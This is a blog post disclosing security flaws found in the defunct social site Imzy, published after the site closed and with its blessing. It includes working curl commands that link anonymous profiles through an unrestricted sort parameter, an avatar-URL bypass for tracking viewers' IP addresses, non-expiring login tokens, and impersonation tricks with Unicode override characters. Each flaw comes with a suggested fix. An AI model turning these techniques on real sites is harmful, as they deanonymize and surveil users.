An informal security assessment of Imzy (part 2)

Welcome back. If you missed the first in this two-part series, you may wish to read the intro to that post first, because I'm just going to dive right in.

User identity linking

This is the big one. An unauthenticated attacker can make two API calls to retrieve data that allows them to determine with high probability which profiles belong to the same user (not including anon profiles).

Imzy allowed users to create multiple profiles to post under, each with a separate username, avatar, profile page, history, etc. These functioned as entirely separate users, except they were all tied to the same login account. It was very important that users not be able to discern that two profiles belonged to the same account, or discover the "group" of profiles that belong to the same account, because some users might have one profile for their public identity and another for more sensitive, embarrassing, or unprofessional posts.

A cropped screenshot of my Imzy profiles dashboard, showing my timmc, phyzome, and anonymous profiles. Only the user should be able to see all their profiles

I discovered that it was possible to not only enumerate all profiles in a single command, but with an additional call to determine all the profiles each user had made.

The vulnerable API call was /api/search/autocomplete/profiles, used to autocomplete profile names when starting a private message. It took a query q (substring match for profile name), page and per_page for pagination, and sort. Example call:

curl -isS 'https://www.imzy.com/api/search/autocomplete/profiles?page=1&per_page=30&q=staff&sort=-profile_username_lower'

There were several compounding vulnerabilities:

  • sort was unrestricted. A bogus value would result in a 500 error, but I guessed the account_id field. With this, profiles in the query results are grouped by account. This is the core vulnerability.
  • q was used in a LIKE query in some RDBMS (Postgres, as it turns out), so I could use % as a wildcard (and _ for single-character wildcard). The API required at least a 3-character input, so I used %%% to query all profile names. This allows me to use a single query to find all profiles, which is important because if I needed to enumerate profiles like aaa, aab, aac then profiles alice and bob would not be linkable, as they would be in different result sets.
  • The API call does not require authentication, so even a rate-limiter on pagination would not hinder an attacker with many IP addresses to work from.
  • per_page was unrestricted, and passing in 0 returns all results. (A very large number also worked.) This means we don't even need to worry about pagination!

Now, if we just run curl -sS 'https://www.imzy.com/api/search/autocomplete/profiles?per_page=0&sort=-account_id&q=%25%25%25' what we get is a list of all profiles, grouped by user account. While this is clearly bad, it's not the whole picture. We can look in that result set for a known profile, and then we might look into the adjacent profiles to see if they're plausibly the same user, but it isn't confirmation. If we want certainty, we need more.

This is where sort stability comes in. Imagine we have the following 3 users with 5 profiles, where the (hidden) account ID is the number in square brackets, and the profile name follows:

[1] Alice
[2] Bob
[2] Barbara
[2] Bertrand
[3] Carol

We might suspect that Bob and Barbara are the same user based on similarity of comments or name, but there's no way to know that Alice and Bob aren't the same too. But what if we ask for the results sorted by account_id (descending) instead? Here's the result:

[3] Carol
[2] Bob
[2] Barbara
[2] Bertrand
[1] Alice

The database is using a stable sort, meaning items that compare as equal (here, have the same account ID) reliably do not switch position. So take this second result set and reverse it, and compare it to the original (on the left):

[1] Alice    | [3] Alice
[2] Bob      | [2] Bertrand
[2] Barbara  | [2] Barbara
[2] Bertrand | [2] Bob
[1] Carol    | [3] Carol

Now any profiles that belong to the same account sort together, but switch places. (An algorithm to recover these groups reliably is probably simple, and is left as an exercise to the reader.) Allowing sorting on sensitive data is clearly a problem!

Here's what the overall attack looks like. (Note the reversed sense of negation in the sort order—probably a bug.) I was careful to not let this data hit disk, and to only peek at the vicinity of my own profiles:

# Mount a ramdisk when working with sensitive data
sudo mount -t tmpfs -o size=400M tmpfs ~/tmp/ram/
# Grab profiles sorted ascending and descending
curl -sS 'https://www.imzy.com/api/search/autocomplete/profiles?q=%25%25%25&per_page=0&sort=-account_id' > ~/tmp/ram/profiles-by-account-asc.json
curl -sS 'https://www.imzy.com/api/search/autocomplete/profiles?q=%25%25%25&per_page=0&sort=account_id' > ~/tmp/ram/profiles-by-account-desc.json
# Reformat JSON (and reverse one list)
jq . < ~/tmp/ram/profiles-by-account-asc.json > ~/tmp/ram/profiles-by-account-asc.json.norm
jq 'reverse' < ~/tmp/ram/profiles-by-account-desc.json > ~/tmp/ram/profiles-by-account-desc.json.norm
# Diff and peek
diff -y ~/tmp/ram/profiles-by-account-asc.json.norm ~/tmp/ram/profiles-by-account-desc.json.norm | grep timmc -C 5

A fix involves validating the sort parameter against a whitelist, fixing pagination limits, and escaping LIKE query wildcards.

Further notes:

  • The is_primary field on profiles was also sortable, which is of mild interest.
  • If I searched with @@@ instead, I also got all profiles. (@ was stripped from queries, but after the length check.) This retrieved at least one additional profile, named "あ". Perhaps I should check validation of profile names more carefully. :-)
  • If I found a way to sort accounts, as unlikely as that would be, I would be able to determine someone's email address by bisection and repeatedly changing my own email.

Tracking risk: Unvalidated avatar URLs

Avatar upload was improperly restricted; I could change my profile's avatar URL to an externally hosted image and track users via the Referer header.

Avatar upload involves two parts: Cropping and uploading an image, then setting the profile avatar URL to the resulting image URL. The latter step tried to restrict inputs to images.imzy.com but accepted any suffix. I imagine that the vulnerable code looked something like url.startsWith("https://images.imzy.com"). Naturally, I set up images.imzy.com.lab.brainonfire.net and set my avatar to a URL on that host:

AVATAR_URL='https://images.imzy.com.lab.brainonfire.net/demo/imzy-20170504-profile-pic/avatar-300.jpg'
curl -isS "https://www.imzy.com/api/accounts/profiles/stolf" -X PUT \
  -H 'Content-Type: application/json' -H "Authorization: Bearer $IMZY_TOKEN" \
  --data '{"profileName": "stolf",
           "avatar_image_url": "https://images.imzy.com.lab.brainonfire.net/demo/imzy-20170504-profile-pic/avatar-300.jpg"}'

This works for both profile and community avatars, so I could track the IP addresses, browser and operating system versions, timings, and Referer headers of people viewing a page with my avatar. An attack might look like hosting an image with a no-cache directive and full request logging enabled, then using it on a community avatar. Subscribers then have my avatar in their sidebar, even when viewing private communities. This gives me the IPs of people viewing anonymous comment threads (possibly outing the participants) and the URL slugs of private posts (leaking parts of the titles).

For a more targeted attack, I would use a profile avatar and ping the target on an out-of-the-way thread, and learn their IP address when they follow the notification.

A fix involves including a trailing slash in that startsWith match. I would normally recommend using a URL library in similar situations, but simple string match is entirely appropriate here since the site is generating the URLs in the first place during upload.

Login tokens do not expire or invalidate

I found that the JWT auth tokens, when used directly against the API, are unaffected by logout or the passage of time.

There are two related problems here:

  • If I log in, record, my JWT token cookie, then log out, I have a token that can still be used against the API. Trying to use the token as a cookie kicks me back to the login screen, so I know there's an intent to expire sessions, but it's only enforced in the presentation layer.
  • The expiration field on the JWT token is completely ignored by both the www and api servers.

This means that if my session token is ever exposed to an attacker, they potentially have access to my account indefinitely. Logging out is not enough. (The site also does not have a way to forcibly expire other login sessions, as Google does for instance.)

Here's an example token from a login session I had for a long time, with the signature redacted:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InBoeXpvbWUiLCJhY2NvdW50X2lkIjoiZTA1MjIxM2EtMTEyZC0xMWU2LTlmMmYtNzIyMzdlYzEzMDA5Iiwic3RhdGUiOm51bGwsImp0aSI6IjYxMDI1ODhhLTlmYTAtMTFlNi1iMzZmLWU0YTk0YWRjMGEyOCIsImV4cCI6IjdlZTA3MjdlLWNjYTUtMTFlNi1hZGRlLTgzYjRkZmJjOWE1MCIsInNjb3BlIjpbXSwib3B0aW9ucyI6eyJ0ZmFfdHlwZSI6IiJ9fQ.ZpHl___________________________________reas

Payload:

{"username": "phyzome",
 "account_id": "e052213a-112d-11e6-9f2f-72237ec13009",
 "jti": "6102588a-9fa0-11e6-b36f-e4a94adc0a28",
 "exp": "7ee0727e-cca5-11e6-adde-83b4dfbc9a50",
 "state": nil,
 "scope": [],
 "options": {"tfa_type": ""}}

The exp field in JWT is supposed to be a scalar number, but here it is a version 1 UUID (timestamp-based). This is unusual, but if I interpret it as a date, the date is several weeks in the future; every interaction with the site gives me back a new token with the date pushed back again. This gives me high confidence in its intended usage.

I originally noticed this issue when one very old session stopped getting updates to its exp value, but even though the exp had slipped far into the past I was still able to use the site. This might be a data issue, because newer sessions did not have this problem.

Overly open file upload for avatars (browser hang)

Imzy's avatar uploader for communities (and probably for profiles) allowed uploading SVG images. I did not discover a vulnerability beyond griefing users; the most I was able to accomplish was hanging my browser to the point it had to be restarted.

Uploading an SVG named as a JPG results in a "success" response:

curl -sS 'https://www.imzy.com/i/upload?type=community&communityName=stolf%20hax&name=logo' \
  -H 'Authorization: Bearer ___' -F "file=@actually-svg.jpg"
{"original": "innocuous.svg.jpg",
 "filename": "https://images.imzy.com/prod/communities/stolf-hax-logo-1494106466954.jpg",
 "data": {
   "Location": "https://imzy-default.s3.amazonaws.com/images%2Fprod%2Fcommunities%2Fstolf-hax-logo-1494106466954.jpg",
   "Bucket": "imzy-default",
   "Key": "images/prod/communities/stolf-hax-logo-1494106466954.jpg",
   "ETag": "\"d25983e606033e8a51747fbec1b8015d-3\""
 }
}

Note that this reveals the origin server for images.imzy.com. (Also, those escaped slashes in data.Location are interesting.)

The resulting https://images.imzy.com/prod/communities/stolf-hax-logo-1494106466954.jpg may now be used for an avatar, but that "jpg" is in fact a 15.5 MB SVG that has been re-rendered as a raster of 1-pixel circles, of all things:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
  "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg width="500" height="500">
  <circle cx="0" cy="0" r="1" fill="srgba(69,95,30,1)"/>
  <circle cx="1" cy="0" r="1" fill="srgba(54,87,22,1)"/>
  <circle cx="2" cy="0" r="1" fill="srgba(54,87,22,1)"/>
  <circle cx="3" cy="0" r="1" fill="srgba(61,90,26,1)"/>
  <circle cx="4" cy="0" r="1" fill="srgba(70,95,31,1)"/>
  <circle cx="5" cy="0" r="1" fill="srgba(81,101,38,1)"/>
...

This is a telltale that imagemagick is being used for processing the images. If you ask imagemagick to produce an SVG from a raster, it emits an SVG with one colored circle for each pixel. (It's silly that this is even an option, but also: Why a circle, and not a square?) Imzy might be doing that processing, or perhaps their image CDN Imgix is doing it. Whoever it is, they appear to have locked down their imagemagick policy files to at least a reasonable degree, since I was not able to achieve code execution or data exfiltration.

Restricting the input types on the server side, via an image format recognizer, would be wise in any case.

Visitor IP address leak in CDN cache

Imzy's response caching (probably at the CDN level, with Fastly) was capturing the IP address and possibly the session ID of people visiting the main page:

$ curl -sS https://www.imzy.com/ | grep -o '"remoteIp":"[^"]*"'
"remoteIp":"108.61.196.37, 185.31.19.34, 23.235.47.34, 10.0.2.205, 10.0.2.45"
"remoteIp":"108.61.196.37, 185.31.19.34, 23.235.47.34, 10.0.2.205, 10.0.2.45"
"remoteIp":"108.61.196.37, 185.31.19.34, 23.235.47.34, 10.0.2.205, 10.0.2.45"

At least one of those is part of setting the variable window.__IMZY__.sessionStorageCache.

The first of those is a viewer's IP, the next two are Fastly, and the last two are internal IPs. (Those internal IPs aren't great to leak either, of course.) On less-trafficked pages, I saw my own IP in the first location.

There was also a sessionId of some sort, but I'm not sure what, if anything, it connected to. It did not seem related to my JWT auth token's jti field, or to any cookies. Imzy used to set a session cookie, so perhaps it was that.

$ curl -sS https://www.imzy.com/ | grep -o '"sessionId":"[^"]*"' | head -n1
"sessionId":"MBcOcVd_1i8n8pnznpF5-aZQNIixJvQp"

A reasonable fix might be not sending the session state to non-authenticated users and disallowing caching for authenticated users, or simply not including these values in the page response.

No server-side validation on profile names

When creating a new profile, there was client-side validation on the profile name, but not (much) on the server. This allowed all kinds of fun!

  • Impersonation by prefix, although not as sneaky as I would like: @staff?_ would show @staff's profile page if clicked (because the username also wasn't escaped when constructing the URL)
  • Impersonation by right-to-left override characters (U+202E) is well-documented elsewhere; in this case it would show up as staff in profile link text but @s%E2%80%AEffat in the resulting page's URL. This one was sneakier, although the page title turned to "?" after a second.
  • A screenshot of the profile for [removed] showing one comment instead of a not-found page Silliness with @[removed] When a comment was removed but was still shown (e.g. had replies nested under it) the profile name was listed as [removed], but it also linked to a nonexistent @[removed] user page. So I created it! Clicking on a removed comment's "author" link would briefly take you to my profile page, with one silly comment I made. After a second, the page would become a 404. (Don't know why!)

There was some validation; I was not able to create foo/../bar. In any event, fix is simple; just add the same validation to the server that the client had.

The end

Well, that's all, folks. As I mentioned in the previous post, Imzy is gone (sadface!), so disclosure coordination was unnecessary. They handled the reports very well, including an unprompted offer of $1k for the identity linking bug, no strings attached. (I was also politely asked to avoid disclosing the bug at all, for fear it would drive users away, to which I agreed on the condition that I didn't find a second vulnerability in identities. Moot now, so I have their blessing to post.) The offered reward unfortunately came too close to their shutdown and all the churn that entailed, so I did not receive it, but I was quite touched by the offer! I did end up receiving a big box of swag, including a lovely hoodie and a plush Imzysaurus that my daughter was happy to play with. The other plush I'm keeping for myself!


Responses: One so far

  1. A casual security assessment of Imzy (part 1) | Brain on Fire says:

    […] few times in my career as a programmer where it really mattered whether a sort was stable. Update: Part 2 is […]